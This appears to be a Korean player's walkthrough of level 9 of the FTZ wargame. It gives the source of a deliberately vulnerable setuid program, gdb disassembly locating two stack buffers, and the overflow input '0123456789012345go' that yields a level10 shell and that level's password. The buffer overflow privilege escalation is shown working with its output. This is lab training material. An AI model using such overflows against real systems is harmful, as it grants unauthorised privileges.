[level9@ftz tmp]$ cat ../hint
다음은 /usr/bin/bof의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
버퍼오버플로우 문제이다.
내가 입력한 값이 buf를 넘어 buf2에 go를 저장해야 한다.
gdb /usr/bin/bof를 해도 권한이 없는지 디버깅이 안된다.
/usr/bin/bof를 cp 명령으로 복사하는 것도 안된다.
level10의 tmp 폴더를 이용하자. tmp 폴더는 맘껏 사용하라고 제공되는 연습공간이다.
소스코드를 오른쪽 마우스로 복사하여 vi 에디터를 열고 붙여 넣자.
gcc bof.c -o bof 명령을 입력하여 컴파일 후 bof라는 실행파일을 만든다.
gdb bof -q는 bof 실행파일에 대해 gdb를 실행한다. -q는 gdb 실행할 때 출력되는 값들이 안 나오게 해 준다.
set disassembly-flavor intel로 at&t 어셈블리어를 intel 어셈블리어로 바꾼다.
0x08048433 <main+19>: push 0x8048554
0x08048438 <main+24>: call 0x8048350 <printf>
0x0804843d <main+29>: add esp,0x10
0x08048440 <main+32>: sub esp,0x4
0x08048443 <main+35>: push ds:0x8049698 ///fgets의 인자 stdin
0x08048449 <main+41>: push 0x28 ///fgets의 인자 40
0x0804844b <main+43>: lea eax,[ebp-40] ///fgets의 인자 buf의 주소는 ebp-40
0x0804844e <main+46>: push eax
0x0804844f <main+47>: call 0x8048320 <fgets>
0x08048454 <main+52>: add esp,0x10
0x08048457 <main+55>: sub esp,0x4
0x0804845a <main+58>: push 0x2 ///strncmp의 인자 2
0x0804845c <main+60>: push 0x804856a ///strncmp의 인자 go
0x08048461 <main+65>: lea eax,[ebp-24] ///strncmp의 인자 buf2의 주소 ebp-24
0x08048464 <main+68>: push eax
0x08048465 <main+69>: call 0x8048330 <strncmp>
---Type <return> to continue, or q <return> to quit---
0x0804846a <main+74>: add esp,0x10
0x0804846d <main+77>: test eax,eax
0x0804846f <main+79>: jne 0x80484a6 <main+134>
0x08048471 <main+81>: sub esp,0xc
0x08048474 <main+84>: push 0x804856d
0x08048479 <main+89>: call 0x8048350 <printf>
0x0804847e <main+94>: add esp,0x10
0x08048481 <main+97>: sub esp,0x8
함수의 인자는 뒤에서부터 먼저 스택에 들어간다.
ebp-40이 buf의 주소다.
ebp-24이 buf2의 주소다.
fgets함수는 buf에 내 입력값을 저장한다. 난 buf의 10 bytes 범위를 넘겨 6 bytes를 더 입력하여 buf2에 도달하는 게 목표다.
/usr/bin/bof를 실행한다. ebp-40부터 ebp-24까지 16 bytes를 임의의 문자들로 채우고, 추가로 2 bytes의 go를 입력하여 buf2의 앞부분을 채운다. buf2의 2 bytes가 "go"와 같아야 되기 때문이다. 둘이 같으면 strncmp 함수가 0을 반환한다.
서로 같다면 setreuid(3010,3010)을 통해 ruid와 euid가 level10이 되고 level10의 권한으로 /bin/bash를 실행할 수 있다.
[level9@ftz level9]$ /usr/bin/bof
It can be overflow : 0123456789012345go
Good Skill!
[level10@ftz level9]$ my-pass
Level10 Password is "interesting to hack!".